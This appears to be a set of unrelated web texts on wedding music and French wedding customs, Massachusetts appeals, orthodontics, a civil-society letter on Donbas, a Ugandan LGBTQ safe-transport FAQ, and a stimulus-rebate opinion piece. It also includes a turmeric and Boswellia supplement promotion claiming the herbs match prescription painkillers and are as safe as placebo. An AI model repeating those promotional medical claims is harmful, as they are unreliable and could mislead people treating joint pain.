On the other hand, the aesthetic part your wedding music will play in the overall event is probably the most important. This part of your wedding music planning will also take up most of your time.
Your aesthetic music choices will obviously be dictated very much by the functional aspects of the different parts of your wedding. But it will most importantly reflect your music tastes as a couple, overall style, and any particular theme you have chosen.
The aesthetic aspect of your is what you and your guests will remember about the wedding long after the meal has been forgotten. This is where your special choices will make or break the event.
1. What, Where and When
It is important to know where in your wedding you need to choose songs for. Most people think about wedding songs and immediately the walk down the aisle and the first dance comes to mind, but there are many many more wedding songs that you need to think about.
Knowing this is important because it will give you a better idea of the function or reason for a certain song in a wedding. For example - during the recessional (coming back down the aisle with your new spouse while your guests shower you with confetti) you should have an uplifting, celebratory song.
It does not matter if you are choosing to go classical or up-to-date modern, the function of the song is the same. To celebrate the fact that you are now married. Whatever song you choose should fit into that description.
To know what music to play when in your ceremony, click here.
Click Here for a rundown of a typical wedding reception soundtrack.
2. Keep a Notebook
Don't leave your wedding music planning to the last minute or set aside one evening with your other half to quickly choose your wedding songs. Music is very much a mood thing. You need to make these choices when the inspiration strikes, and you never know when that will be.
So, the best tip I can provide here is to keep a notebook (especially dedicated to your wedding music planning) with you from the moment you get engaged. Keep a record of songs you would consider for every "scene" of your wedding.
Write down the titles of songs when you hear them playing in a movie, on radio or TV, at other weddings and parties, or just when you remember a song you are particularly fond of.
When you write down a song, make a note of the feeling it gives you or the mood it evokes (upbeat, happy, romantic etc). This will give you an idea of where you can incorporate it later, when you start putting things together.
3. Use Technology
If you have an Iphone or Ipad, then planning your wedding music can be a real breeze if you download an App to help you with it.
Some applications are better than others of course, some are free and some you need to pay for. I am planning to do a review of all the available apps, but for now here is a list - be your own judge:
4. Consult The Professionals
Wedding music professionals (band leader, organist, DJ) will be able to help you select the best functional music to fill in the spaces and create the mood of any particular aspect of the wedding day.
in most cases also be able to provide you with a list of standard
choices to help in planning your wedding music. Some even have extensive questionnaires to help you plan your ceremony and reception.
5. Use The Internet
When it comes to crunch time and you still have some music choices to make, consult your friend the internet.
Use this site (bookmark it now or subscribe to our RSS feed) or other sites like it, forums and sites like Youtube to get ideas for the songs you still need to decide on.
6. Get A Pinterest Account
If you don't like the idea of an app, but you still want to keep organized, then sign up for a Pinterest account if you don't already have one and start pinning images from sites with ideas for wedding music.
You can even pin Youtube videos and browse other people's boards for ideas, re-pinning things to your own boards to keep everything together. Check out our Wedding Music Planning Pinterest Boards:
Start planning your wedding music by having a look at our song suggestions and tips for every part or "scene" of your wedding.
So, are you planning the music for your ceremony or your reception?
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Have you ever wondered what songs the rich and famous used for their million dollar weddings? What wedding music played when Demi Moore walked down the isle to marry sexy Ashton Kutcher? Or what did Eva Longoria and Tony Parker use as their first dance song? Click Here to take inspiration from your favorite celebrities and find out what songs played a part in their special day.
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Eco-systemic services of forests in Kočevska region
In the year and a half since the project LIFE started, we organized numerous activities aimed at general public as well as experts from various fields. We believe that wider public involvement in both past and future activities contributes to a firmer consensus on the decisions we make in regard to the environment, and rises awareness of the need for nature conservation.
The Institute of the Republic of Slovenia for Nature Conservation administered a questionnaire to evaluate the importance of individual eco-systemic services of forests in Kočevska region to the respondents. The respondents were employees of the Institute of the Republic of Slovenia for Nature Conservation (21), LUK (Adult education center) (1) and Slovenia forest service (66). They were asked to grade the importance of individual eco-systemic services from 0 (lowest importance) to 5 (highest importance).
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Colors in French Wedding Customs
In French wedding customs, the wedding venue is often decorated with a silken canopy, flowers, incense and traditional romantic music is played as demanded by the French wedding traditions. Orange blossoms are traditionally the most preferred flowers. In the off season, wax imitations of orange blossoms are used to keep up the French marriage customs.
The Wedding Procession
The bride is escorted to the church by her groom. The wedding procession begins at the home of the bride. Children, relatives and friends lead the procession to the church along with musicians. The bride and her father on the left and the groom and his mother on the right follow the procession. The French marriage customs demand that children block the bridal couple’s route with white ribbons which must be cut by the bride. In some parts of France such as Brittany, beggars hold a plaited hedgerow brier across the bride’s path. She must bribe them to remove the same. These obstacles are supposed to signify the couple’s commitment to face obstacles together.
The Wedding Ceremony
The bride and the groom are made to stand beneath the silken canopy as per the French marriage customs. A silk fabric the “carre” is held over the head of the bride and groom when the bride and groom receive the final blessing of the priest. The veil is said to protect them from any malice or ill will that may descend on them. This veil is later used for their new born child’s baptism.
During the wedding ceremony, the father of the bride would remove the shoe of the bride and hand it over to the groom as an indication of “transfer of authority” over the bride to the groom. The groom would then tap the bride on the head with the shoe to indicate his acceptance of the authority.
French marriage customs demand that the couple is showered with rice and wheat as they emerge from the church. In southern parts of France dragees (chocolates covering almonds, sugar or nougat) and coins are tossed to children waiting at the doorstep. The grains and dragees symbolize fertility and prosperity. The couple then walks through a flower arch and laurel leaves are scattered on their path as part of the French wedding custom.
The Wedding Reception
The wedding reception according to the French marriage customs is held on the day of the wedding. Guests bring with them small cakes and stack them in a pile as high as possible. The bride and groom are expected to kiss over the pile without knocking them over. This is said to symbolize a lifetime of prosperity. The French wedding customary cake is known as croquembouche and is made of small cream filled pasty puffs piled in a pyramid and covered with caramel glaze and spun sugar.
After this ceremony the bride’s cup is filled with ale and a sprig of rosemary is passed from hand to hand among the guests.
This is followed by the removal of bride’s garter by the groom. The garter is a ribbon that is worn by the bride on her wedding day. The garter is then cut into pieces and distributed among the guests for a price. Sometimes this garter is boisterously stolen by the guests from the bride. A piece of the bride’s garter is said to bring luck to the receiver as per the French wedding customs. Modern French wedding customs have replaced this garter with the bridal bouquet.
The Wedding Night
The wedding night in the French wedding custom is an occasion for revelry. The guests interrupt the wedding couple by clanging pots and pans and ringing bells and blowing horns. The wedding couple is expected to come out of their chamber and to treat their tormentors with food and wine. The groom pays fines to his bride’s friends called la peloto.
The bride and groom then drink from a specially engraved, double handled goblet that is usually a family heirloom handed down from father to son.
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An appeal is available if a party isn’t satisfied with the result at the trial level. Our court system provides every litigant — except for the government in criminal cases — with the right to have the trial court proceedings reviewed by an appellate court.
The party who wants to appeal is called an appellant, and the responding party is called an appellee.
The appellate courts (Appeals Court and Supreme Judicial Court (SJC)) don't retry cases or hear new evidence. They review what happened in the trial court to make sure that the correct law was applied and that the proceedings were fair. Each side presents a written argument to the appellate court in a document called a brief. Others who may be interested in a particular case may ask to file an amicus curiae (friend of the court) brief.
The arguments made in briefs vary. However, common grounds for an appeal include claims that the trial was conducted unfairly or that the trial judge didn’t apply the applicable law correctly. In rare instances, a party may claim that the law that was applied violates the United States or Massachusetts constitutions.
After all briefs are received, a case is scheduled for oral argument by the Appeals Court or the SJC. At oral argument, which generally lasts 15 minutes per side, each lawyer has a chance to present arguments directly to the justices who will be deciding the case. The justices usually ask the lawyers questions.
In Massachusetts, appeals first go to the Appeals Court, with the exception of first degree murder convictions, which go directly to the SJC. A party that’s unhappy with the Appeals Court's decision may ask to have a case reviewed again by the SJC.
Additionally, the SJC has the power to transfer cases directly from the Appeals Court before they have been argued there. These transfers can be made if a party requests it or by the court's own choice. This process minimizes the number of cases that must be decided by both the Appeals Court and the SJC.
Overall, the SJC and the Appeals Court agree with, or affirm, trial court decisions about 80% of the time — in about 15% of cases, the appellate court reverses the trial court. In the remaining 5% of cases, some other result is reached, such as agreeing one part of the case and reversing another part.
A party that loses before the SJC, or loses before the Appeals Court if the SJC won’t review the case, may ask for review by the United States Supreme Court if the case involves a federal law or interpretation of the United States Constitution.
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People of all ages may require orthodontic treatment for a multitude of reasons. Although this treatment is commonly prescribed for individuals that have developed an overbite or underbite due to the misalignment of their jaw or teeth, it is also necessary for patients that are dealing with crooked teeth, large gaps between their teeth and even protruding teeth. While most people are familiar with the use of traditional metal braces, these are not the only orthodontic treatment available.
Other solutions that your dentist may prescribe include ceramic braces, clear aligners and removable plates. While the orthodontic treatment prescribed works to correct your teeth, it is not uncommon for many patients to want to be done before they have even started. In truth, the duration of this treatment varies from one patient to the next. Keep reading to help you determine how long you should expect to undergo your orthodontic treatment.
How old are you?
Age has a massive influence on the length of one's orthodontic treatment course and this can be attributed to the fact that children are still developing whereas adults are not. For example, if a child's milk teeth are growing crooked, a dentist can easily limit this from happening within a short time since while the child is undergoing the treatment, they could be losing milk teeth at the same time. Hence, their jaw and teeth are much more malleable and by the time the child has their permanent teeth, they will be spaced out correctly.
This is not the same experience for adults, more so if the oral problems they are contending with started when they were still young. In the case of adults, more time is required to correct any abnormalities to their jawbone or the alignment of their teeth. Not to mention that complications such as bone loss in the jaw will affect the treatment too. Therefore, the more severe the misalignment, the longer the orthodontic treatment will take.
How thorough is your oral care routine?
An aspect that some patients take for granted but will have a direct impact on the length and success of their orthodontic treatment is their oral care. This factor is particularly vital to patients that are outfitted with irremovable orthodontic appliances, as they have to be careful about keeping the orthodontics and their gums, teeth and mouth free of any particles that could breed bacteria in their oral cavity.
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Considering that on 1 July 2020 Germany will assume its six-months presidency of the Council of the European Union, the CivilM+ Platform urges the German government to use this time to give a new impetus to the resolution of the armed conflict in Donbas. Restoring peace in the region is essential for security, political stability and human rights protection throughout Europe.
We fully support the necessity to fight the Covid-19 pandemic and to implement the anti-crisis measures which Germany has announced to be a priority of its presidency of the EU Council. Other issues on the agenda, such as climate policy, migration policy, relations with the United Kingdom and digital transformation are equally important.
We are convinced that the resolution of the Russian-Ukrainian conflict should stand alongside these important points in the programme of the German Presidency of the EU Council. In particular, Germany should remain an active mediator in the negotiations between Russia and Ukraine. Its authority, expertise and influence in these countries, as well as in the EU, should be used to promote peace and restore Ukrainian borders on the basis of international law.
We have observed with concern the escalation of hostilities in May 2020 and the sharp increase in civilian casualties. Given the unstable security situation, as well as the growing tension in the Minsk process, we are sure that the support and clear position of the European Union can at least deter the parties from démarches, political blackmailing and threatening to leave the negotiation process. In the best possible scenario, German presidency should set a new tone for a constructive dialogue and a search for solutions for the peaceful resolution of the armed conflict.
We, the representatives of civil society of Ukraine, Russia and the EU suggest certain specific measures that we consider necessary: continuation of sanctions against the Russian Federation, pressure on Russia to ensure unhindered access of independent monitors to the territory under the control “L/DNR”, consultations with the Government of Ukraine on ratifying the Rome Statute, developing a concept for a Ukrainian model of transitional justice, combating impunity, harmonizing national criminal legislation with international law.
With regard to Eastern European policy in general, we support the continuation and strengthening of the EU’s Eastern Partnership programme. We suggest that a high-level EU meeting is organized under the German presidency to agree on further EU steps to end the war and to support the region affected by the conflict, with the participation of representatives of Ukrainian and international civil society.
Realizing that significant resources of the EU budget will be spent to overcome the consequences of the pandemic, we believe it would still be expedient to foresee the necessary funds into the EU’s seven-year medium-term budget to promote the Eastern Partnership. Germany already has a successful federal programme that supports cooperation of the civil society of the EU with partners in Ukraine and other countries of the Eastern Partnership. We recommend that Germany, within the framework of its presidency, advocates for the further establishment of such programmes, both at the EU level and in its member-states. Such programmes will give a new impulse for the democratic transformation in the region.
For our part, the members of the CivilM+ Platform stand ready to participate in the development of socio-political measures to overcome the consequences of the armed conflict in Ukraine and beyond. We will also continue sharing expertise and the information directly from the conflict zone in eastern Ukraine, as well as on political processes in Russia and Ukraine. In addition, we are ready to support the investigation of war crimes and human rights violations, to develop dialogue and peacebuilding initiatives, to accompany international negotiations on Donbas and to promote public participation in reconstruction of the region and overcoming the consequences of the pandemic.
We are convinced that the European Union’s consolidated action in resolving the Russian-Ukrainian conflict is an important prerequisite for establishing and maintaining sustainable peace, rule of law, democracy and human rights throughout the Eastern Partnership region. We believe that Germany possesses a unique potential to promote these values while holding the presidency of the EU Council.
Centre for Civil Liberties, Ukraine
Centre of Public Initiatives ‘Ideas for Change’, Ukraine
‘Country of Free People’, Ukraine
Kharkiv Human Rights Protection Group, Ukraine
Luhansk Oblast Human Rights Center ‘Alternatyva’, Ukraine
Truth Hounds, Ukraine
Ukrainian Helsinki Human Rights Union, Ukraine
‘Citizen and Army’, Russia
DRA e.V., Germany
Helsinki Citizens’ Assembly (HCA), France
Human Rights Centre ‘Memorial’, Russia
International Human Rights Federation FIDH, France
MEMORIAL Deutschland e.V., Germany
Samuel Goda, Slovak Foreign Policy Association (SFPA), expert of the CivilM+ Platform
The international CivilM+ platform was established in 2017. It unites 19 organizations and three independent experts from Ukraine, Germany, the Netherlands, Poland, Russia and France. Within the CivilM+ network, they contribute to the peaceful resolution of the conflict in Donbas. In particular, they inform their governments and communities about the armed conflict in eastern Ukraine, implement projects in the spheres of peacebuilding, transitional justice, dialogue and human rights.
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I love to take a walk. Personally, my greatest pleasure in life is taking a walk especially with my two dogs, Charley and Hudson. Because of my knees, I take an absorbable version of Turmeric and Boswellia so I can keep on walking comfortably. Today I will discuss how the herb Turmeric (if specially enhanced for better absorption) and the herb Boswellia (also known as frankincense) can enhance joint health and comfort
What is Turmeric?
You have probably heard of Curcumin. Many companies use this as the headliner in their joint health formulas. Sadly, Curcumin is only one ingredient out of 235 different constituents so far discovered in Turmeric that only makes up 2-5% of the plant ingredient. In fact, if companies do not make Curcumin more water soluble in their formulas, it will not be absorbed very well.
Besides, research out of Baylor University Medical Center in Dallas, Texas shows you need the complete plant safely modified to be well absorbed to relieve joint soreness and stiffness. This is why Baylor has chosen Bio-Curcumin for their human clinical research.
Turmeric works mostly by inhibiting the COX-2 inflammatory pathway that is dominant in joint pain. It is a medicinal and culinary herb from Ayurvedic Medicine and is part of the Ginger family. Turmeric is poorly absorbed, therefore Bio-Curcumin is the best form of Turmeric available as it includes the entire plant. In fact, 95% of it is the active ingredients for joint health
and this matters.
More about Bio-Curcumin
Bio-Curcumin is grown organically using solar power in soil that has never been exposed to pesticides. It is non-GMO and consists of the all the ingredients found in Turmeric and is safely extracted without the use of toxic solvents. Side note - when other companies use cheap solvents to extract their Curcumin, these can never be totally removed form the finished product and this is why InVite® never uses an ingredient obtained by the use of toxic solvents.
The powerful polyphenolic Curcuminoids and the terpene essential oils are present and they strongly combine to reduce joint discomfort
; you need the combination of these ingredients and not just curcumin. There are more than 50 scientific studies, many of which are human clinical trials, proving its benefits. This helps to establish the correct potency for use and proves its safety with over 15 years of safety data.
Boswellia Serrata (Frankincense) and 5-Loxin
The lipoxygenase pathway is a second dominant pathway involved with joint pain and, along with the CoX-2 pathway that Turmeric inhibits, makes your knees feel awful. 5-Loxin is an ingredient isolated from the herb Frankincense, also known as Boswellia serrata; it inhibits the 5-Lipoxygenase pathway, therefore the name 5-Loxin.
We obtain 5-Loxin from the resin extract of the plant and it is very safe and works very well for joint discomfort and works very quickly to offer relief. 5-Loxin is superior to Boswellia serrata extracts. We know this is true based on research from Georgetown University, Ohio State University Medical Center, Kansas University Medical Center, and the University of California Davis.
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Their research shows that 5-Loxin gets into the joint and inhibits the cartilage-degrading enzymes known as matrix metalloproteinase enzymes
(especially the enzyme MMP-3) that breaks down cartilage, collagen, and the connective tissues of the joint. Blocking MMP-3 and it’s related enzymes helps with discomfort and inflammation
but also may help shield the joint tissues from further erosion helping preserve the current state of your joint cartilage while reducing stiffness and soreness.
Clinical Studies on Bio-Curcumin for Joint Support
A formula containing Bio-Curcumin and the European version of 5-Loxin was compared to the prescription drug Celecoxib. Celecoxib is the number one prescription treatment for joint pain worldwide. The herbal combination was slightly better for joint pain and the ability to walk than the drug. For stiffness, it was a tie.
A study from Baylor University Medical Center in Dallas compared the effects of BioCurcumin to that of Diclofenac, a very powerful prescription pain killer, in patients with rheumatoid arthritis, the reduction in pain and swelling was the same for herbal ingredient as the powerful drug. RA is a terrible arthritis where the immune system attacks many joints leading to crippling pain and joint disfigurement. BioCurcumin worked as well as diclofenac but was light years safer.
In other studies both BioCurcumin or 5-Loxin, used alone or combining the two herbal ingredients together
, and compared to placebo (a fake pill) or compared to well-known arthritis drugs, always worked very well for arthritis in the hips, knees, or hands. They are also very successful for reducing muscle pain and stiffness.
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In a review of a compilation of research by the Division of Rheumatology at Tufts University, based on the results of eleven randomized controlled human clinical trials, either Turmeric preparations or Boswellia preparations worked significantly to give clinically important reductions in pain and improvements in joint function
. The herbal ingredients were as safe as placebo, and well absorbed Turmeric products worked as well as NSAID drugs. Examples of which would be Celecoxib, ibuprofen, and diclofenac.
Indeed, a number of comparisons show there is no real difference between the benefits of the herbal ingredient BioCurcumin
with prescription medication for joint pain relief except when it comes to safety data; both BioCurcumin and 5-loxin have proven to be very safe to use causing no major side effects with no safety difference between them and placebo. By the way, don’t scoff at the use of placebo – it works for chronic pain basically by training the brain to ignore it. That BioCurcumin or 5-Loxin strongly outperform placebo and are as safe as placebo is a very-very good thing and you can remain on these ingredients for as long as necessary without a safety issue according to a lot of human data.
Research on the Irish national rugby team, the New Zealand national Rugby Team, and from Lindenwood University shows that well absorbed Turmeric is good for muscle soreness and stiffness, backaches, and muscle injuries in elite athletes and in active adults and it is safe.
Just to review, BioCurcumin 5-Loxin used alone or better yet together are very useful for the joints. There is no true difference in effectiveness between BioCurcumin and prescription or over the counter medicine for arthritis yet the two ingredients are as safe as placebo.
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How many people have you funded out of Uganda?
As of 11/01/2021, we have supported Ugandan conductors to help 2739 individuals escape from Uganda: 2,725 LGBTQ adults, six straight/cisgender adult allies, and eight children.
We know that more than 200 adults assisted identify as transgender. Roughly an equal number of cis-male and cis-female (i.e. not transgender) people make up the rest of the passengers. At least 13 people have identified as bisexual.
Those we have funded out of Uganda have mostly gone to Rwanda, South Africa, Burundi, Dubai, Tanzania, Southern Sudan, Sweden, the Netherlands, Norway, Denmark, France, Germany, Ontario Canada, Turkey, and Australia. Some have permanent resident status and some are still working on that as refugees. Other more recent passengers are being processed in interim countries for asylum status in new home countries around the world. One of the activists in Uganda working with these passengers wrote: “I wish to also note that the US Embassy hasn’t been so helpful in this cause.”
There are almost always more passengers that are in hiding, on the Ugandan conductors waiting lists for funds to get them out.
Read their stories and our most updates on our blog here.
I am a [LGBTQ] person. Will you please help me to get out of Uganda?!
Friends Ugandan Safe Transport Fund doesn’t respond to individual requests for funding or assistance or help getting out of Uganda. We do not make decisions about who is helped, how and when. We are based here in Olympia, Washington – do nothing on the ground in Uganda; all the real work is being done by Africans for Africans – by the people we call the conductors.
LGBTQ people find them on their own by word of mouth. We can’t tell you how because we don’t know. They choose who goes, when they go and in what order, the routes utilized, the interim destination, the choice of way-stations, transportation, and lodging. They work with other organizations (NOT us) and individuals who provide housing, food, medical, psychosocial, legal, and visa services. They are responsible for ensuring that the people in their care are delivered to a SAFE place.
Also, we cannot connect you with these leaders for their own security, as we know that there are people seeking them to do them harm because of this work they do. They are putting their own lives and welfare at great risk to help others and we will not disclose their identity. They work independently, so some of them do not know the others and that is for all their protection.
Our role is very limited. For security reasons, we never forward any referrals to the conductors.
We hope you are able to find the help you need.
I hear there are a lot of scammers out there who are using this situation to rip off well-meaning people. Aren’t you falling victim to that?
We understand the problem with being scammed. We don’t send funds to individuals who contact us directly asking for money. We only work with and through local activists who are known to us.
For example, we ‘vetted’ [name] and [organization in Uganda]. We read the article about him when he was in [another country] as a refugee, we have connected with others who work with him, and have copies of photos of him in the hospital when he was assaulted, and of receipts for hospital care we helped pay for. Note, identifying information has been removed to protect those in the field.
Other people we are working with on the ground in Uganda are known as reliable and trustworthy to people here who work with them on other issues. They are keeping their names out of this work because the straight allies they are connected to are putting their own lives at risk and the lives of the ‘conductors’ who are helping get LGBTQ people out of Uganda.
Are you just relocating LGBTQ Ugandans out of Uganda with no provision being made for them once they arrive in their new home? What then? Homophobia and transphobia in Africa are not limited to Uganda. You leave them on their own? Shouldn’t you wait until you have a whole plan for them?
We share your concern. However, the people the Ugandan leaders are working with are ones who feel that the risk of staying there now — with this worsened dangerous situation — means they need to get out first and then work on the rest. We trust that the people they are assisting know what they need.
We are clear that our mission is to assist in the first step of getting LGBTQ people out of Uganda, and the limitations on what we and the leaders who work with us are able to provide.
They have connections with folks in Kenya and other countries who are assisting with visas etc. We do not take on that role ourselves.
And by the way, none of the people they are assisting out of Uganda are winding up in the horrid refugee camps in Kenya.
Aren’t you jumping in without knowing what you are doing?
We are figuring it out as we go (what program doesn’t?) but our core group in Olympia are seasoned grassroots organizers with decades of experience as activists. We did not go into this work lightly and our Meeting didn’t either.
We are quite aware that there is a history of some larger non-profit organizations opposing or being critical of grassroots organizing which is what we are involved in. And we know we have been accused of being “amateurs” – and as we are seasoned activists, we take that as meaning that we are not paid, which is true. We are not doing this for money, we are doing this because we feel that something has to be done and we are in a position to do that. This is sacred work to us. We are called to help mitigate the sorrow this situation in Uganda has caused by hearing it and participating and hopefully alleviating some of it.
It is important to remember that this work is managed and handled totally by the Ugandan leaders. This is Ugandan people helping Ugandan people.
We are doing what we can to support them.
Not every Ugandan wants to flee. Some want to stay and fight for their right to be Ugandan and queer. Why don’t you help the work to defeat the systems the of oppression we face rather than help us run away? And will you raise money to support the other parts of this work – to ensure that every LGBTQ person arrested can get legal defense, to advocate for access to health for our communities, etc.?
We absolutely support those who are deciding to stay and fight for their right to be Ugandan and queer. We understand the passion for that because it is so very important.
“… At the same time, as the mother of Bill, a son who at 17 was assaulted on the basis of his sexual orientation 19 years ago, who committed suicide a month later because despite being completely loved and celebrated by his family and many friends, believed that he was doomed to live in a world that would always hate him — and held in trauma beyond the help we were able to get for him, chose death and committed suicide on May 8, 1995.
And so my concern is also very much for those living in such pain and fear that feel they must flee to build a life for themselves. I don’t think this is the complete answer by any means, but it is part of one.” ~ Gabi Clayton, co-manager of Friends Ugandan Safe Transport Fund, Olympia, WA.
We are a small project with a very specific focus on assisting those who feel in this situation that they must leave Uganda. We don’t have the resources to also raise funds for other groups, but we may be able to share some of that information with others as we build our connection with people through this website and our eNews mailing list.
So we give in to the homophobic bullies and ship out all lgbts from Uganda? Hey the homophobes win! I bet they`re busy cheering!
It’s not a win. This is work we would prefer not to do. We are doing it because we were asked to by people who had direct threats on their lives. Names were read out over radio stations, with broadcasts calling for their arrests, imprisonment, castration, and sterilization. They have been many incitements to mob violence. People have been burned out of their homes (and burned themselves), thrown out of their jobs, expelled from schools. Hospitals are refusing to treat LGBTQ individuals.
“Surviving is resistance!” ~ Talcott Broadhead.
It is not a win. It is not an answer. It is what we can do.
Why did you change your name from Friends New Underground Railroad to Friends Ugandan Safe Transport Fund?
Once we began this work we were made aware that among African-Americans there was unhappiness with the name “Friends New Underground Railroad,” which we were told is seen by many as a sacred name for an important part of African-American history – that had been appropriated unthinkingly by Olympia Friends Meeting as a group of European-Americans for our project in East Africa.
It took us some time. We met and discussed the objection and our own feelings about it. We acknowledged that we had used the term deliberately to proudly reclaim an important part of our Quaker history of involvement in the original underground railroad. But it is more complex than that, and out of respect to the African-American people who had expressed their serious discomfort, we took the issue under serious consideration.
We held a Special Called Meeting of our members and attenders, and then some members of our Meeting met in person with one of the people who had written us.
We realized that the last thing we wanted was for the name of this work we are doing to be offensive to people who otherwise supported what we were doing. And we didn’t want to endlessly process the idea of changing the name when there was such critical work to do.
So we met amongst ourselves and came up with our new name, Friends Ugandan Safe Transport Fund.
What can I do?
And tell others! We need to spread the word to because the more help we get the more we can do. Like our Facebook page and share our posts. Follow us on Twitter and share our tweets. Subscribe to the FNUR eNews and share our posts.
Throw a fundraiser or table for us at an event! Contact us to plan this.
Invite us to speak to your Meeting, organization or at an event. We are based in Olympia, Washington. If we can’t come in person (because all the funds we raise go to the work in Uganda) we may be able to speak to your Meeting or group by Skype. Contact us.
What does a Meeting or a group needs to do to be listed as an official sponsor of FNUR on the website?
Write and share a Minute or a letter of support. And let us know – ask to be listed! And donate of course!
What will my donation be used for? Will it help Ugandan gay people who are stuck in Kenya now because they were sent there by misguided “refugee” organizations?
This project came into existence because of the request of Ugandans themselves and is set up by Africans for Africans. We (Olympia Friends Meeting – Quakers) assist them by raising money to cover the costs of the amazing work they do.
Systems are set up by the conductors and those they work with for transportation, medical, psychosocial, housing, food, legal, and visa support for those who choose to leave. Donations that come to the Friends Ugandan Safe Transport Fund cover transportation, food, temporary housing while in transit, and sometimes fees for visas. We have covered some emergency medical costs for two conductors who were assaulted based on their real or perceived sexual orientation and this work they do which made them targets. We do not pay for airfare to new home countries – others cover that and other expenses.
The conductors don’t encourage anyone to leave and neither do we. Those who leave usually have very significant threats to the lives and safety. They find the conductors – we do not refer people to them.
None of the passengers are in Kampala where the human rights activists seem to be congregated. None of the people helped with funds from us have gone, or will be going, to the refugee camps in Kenya. We are not able to assist LGBTQ people who are in the camps. We are a small project with a limited focus and limited funds.
What is the accountability for funds?
On our end – as a project of the Olympia Monthly Meeting – there is oversight by Members of the Meeting including our Treasurer and others.
The oversight/accountability for funds we send to the conductors is done by us asking for and receiving receipts for things they have paid for such as transport, temporary lodging, etc. along with names of the passengers once they are out of Uganda. We have been in touch with some of them as they ask for letters to help with their immigration status. Also, some of them are sending their stories and we share them on our blog, eNews list, Facebook and Twitter.
How much of money donated is taken out for administrative costs?
Nothing taken out for administration by Olympia Friends Meeting or any person. There is no rake off. We do take out for postage and printing for mailings to our donors but some of that expense has also been donated.
Checks have nothing taken out of them. There is a 2.9% (or less) + .30 cent per transaction fee taken out by PayPal when it is used.
September 5, 2014
Diane Dicranian, Ministry and Council Rep to NEYM – New England Yearly Meeting (Quakers) and the Vassalboro Quarterly Meeting wrote to David Zarembka, Coordinator of the African Great Lakes Initiative of the Friends Peace Teams for information about the situation in Uganda regarding LGBT people and related to the work of FNUR (Friends New Underground Railroad – before we changed our name to Friends Ugandan Safe Transport Fund) because Diane was interested in asking her Meeting and Quarter and NEYM to support the work of FNUR.
Here is David’s reply which we have his and Diane’s permission to publish on the FNUR website including their email addresses.
Thank you both!
co-manager of Friends Ugandan Safe Transport Fund
Subject: AGLI–Violence Against LGBT People in Uganda
From: David Zarembka <dave[at]aglifpt.org>
Sent: 7:35AM, Thursday, August 28, 2014
To: DIANE DICRANIAN <jpdd[at]tds.net>, Gabi Clayton <gabiclayton[at]friendsugandansafetransport.org>
In response to your request about the situation in Uganda against LGBT people, I thought I would give a detailed response which you can circulate as you see fit.
For the last few years I have been on a lonely campaign against lynching and vigilante violence in Kenya and other parts of Africa (and as I found out at the FWCC World Gathering in Kenya, also in diverse countries such as Indonesia and Central America). I am sorry that I have been unable to generate much traction in the wealthier countries where this rarely happens, and, when it does, it brings massive media coverage.
This is not true in Africa. Let me speak on Kenya which I know best. People are lynched (meaning killed by mobs) daily.
About two months ago, a man was lynched about 3 miles from my house for stealing 25 chickens. Recently I was driving through my home town of Lumakanda, and saw some young men beating a man (with maybe 25 onlookers) for supposedly stealing a cell phone from a woman. I stopped and honked my horn until they dropped the man — perhaps I should have gotten out to see if he was OK or needed to be taken to the hospital. I could go on with more examples. The newspapers are filled almost daily with one or more lynching and the chicken-thief in our community did not make the news. Sometimes these are directly at “witches” who are usually elderly people (but not always that old as some are killed in their fifties) — there is usually allegations that people, frequently relatives, want their farms and houses. The worst of these are albinos who are killed for their body parts to be used in witchcraft — the killers can sell the parts for up to $75,000 which is a fortune in this part of the world. It is then only a small step to killing people because of their ethnicity such as happened in the post election violence in Kenya in 2008.
In 1994 my daughter, Joy, was in Nairobi where she knew a young man “stoned” to death. In this case, they dropped a large stone on his chest and he died. It is not uncommon for gasoline to be poured on bodies and burned. Unfortunately while the security forces condemn this practice and vow to catch and persecute those involved in these murders (for that is what they are), but nothing ever happens as everyone in the community denies involvement and even of the incidences themselves. I am also dismayed by the fact that the Christian Church, including the Friends Church, has never publicly condemned this practice, although I have brought it to their attention.
Uganda, in this respect, is very similar to Kenya — I live only about 70 miles from the border with Uganda. In other words, the violence against LGBT people as reported by the [Friends Ugandan Safe Transport Fund] is rather common. As a peacemaker, I would hope that one of the results of this violence against LGBT people will arouse others to seeing the larger problem.
Look at Friends Journal’s Quaker Speak, http://quakerspeak.com/justimore-musombi-gay-kenyan-quaker-pastor/, for videos of a Kenyan Gay Quaker pastor who is now at Earlham School of Religion. Note how his family ousted him and seized his properties.
Thus, I have no doubt as to the fact that LGBT people in Uganda are being beaten up, threatened, and even killed in the homophobic atmosphere generated by the the Anti-Homosexuality bill, even if it has been temporarily overturned. When a government condones this kind of hate crime, it gives the people the right and incentive to dish out vigilante justice.
I read somewhere that there are 300,000 LGBT people in Uganda. Regardless if this is an under-estimate or over-estimate (I think an under-estimate since many LGBT people are completely in the closet with wives/husbands/children), there are a lot of people who are going to be attacked, particularly young people. Moreover every year there will be new LGBT young people realizing their sexuality. So will FNUR is rightly proud of the fact that they have helped almost 500 people to escape, this is only the tip of the iceberg.
As Coordinator of the African Great Lakes Initiative, living in Kenya with my wife, I am too well informed about the violence in East and Central Africa, I am well aware that people vary in their willingness to live with potential violence or flee and become refugees or internally displaced people. Either choice is one of uncertainty and fear of the unknown. We who live a comfortable life without fear are obligated by the Friends Peace Testimony to do whatever we can to respond to this violent situation. If we help even one person to escape persecution, we have found God in that individual. Sure we will be criticized by others for various reasons, but has not that been the situation in the history of the Friends Peace Testimony?
I think this answers your question, but if you have more, please feel free to contact me.
David Zarembka, Coordinator
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The zookeeper has decided to throw back a few scraps in the form of what the government laughably calls an “economic stimulus package”:
Under the deal, nearly everyone earning a paycheck would receive at least $300 from the Internal Revenue Service. Most workers would receive rebates of $600 each, or $1,200 per couple. Families with children would receive an additional payment of $300 per child. Workers who earned at least $3,000 last year — but not enough to pay income taxes — would be eligible for $300.
Rebates would be limited, however, to single taxpayers who earned up to $75,000 or couples with incomes of as much as $150,000.
If the government was genuinely concerned with economic stimulus, they wouldn’t have taken the money in the first place.
You can’t help but admire the tactic, though. Instead of admitting that just leaving the money at the source via lower taxes is the best way to stimulate the economy, both political parties create the illusion that the government handing out money is a primary stimulator of the economy. Too many people believe it. “Repeat a lie often enough…” and all that sort of thing, you know.
So of course it follows that only high taxes can put the government in a position to stimulate the economy. I mean, if the government doesn’t have all the money, how can they give it back so we can grow our economy?
This kind of government “reasoning” actually makes sense to the likes of America Ferrera (see one post below).
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Naps are for babies and toddlers, right? Maybe not.
Society looks at work hours as a badge of honor, and people get a sense of pride telling you how busy they are.
Heck, even I am guilty of doing that a time or three.
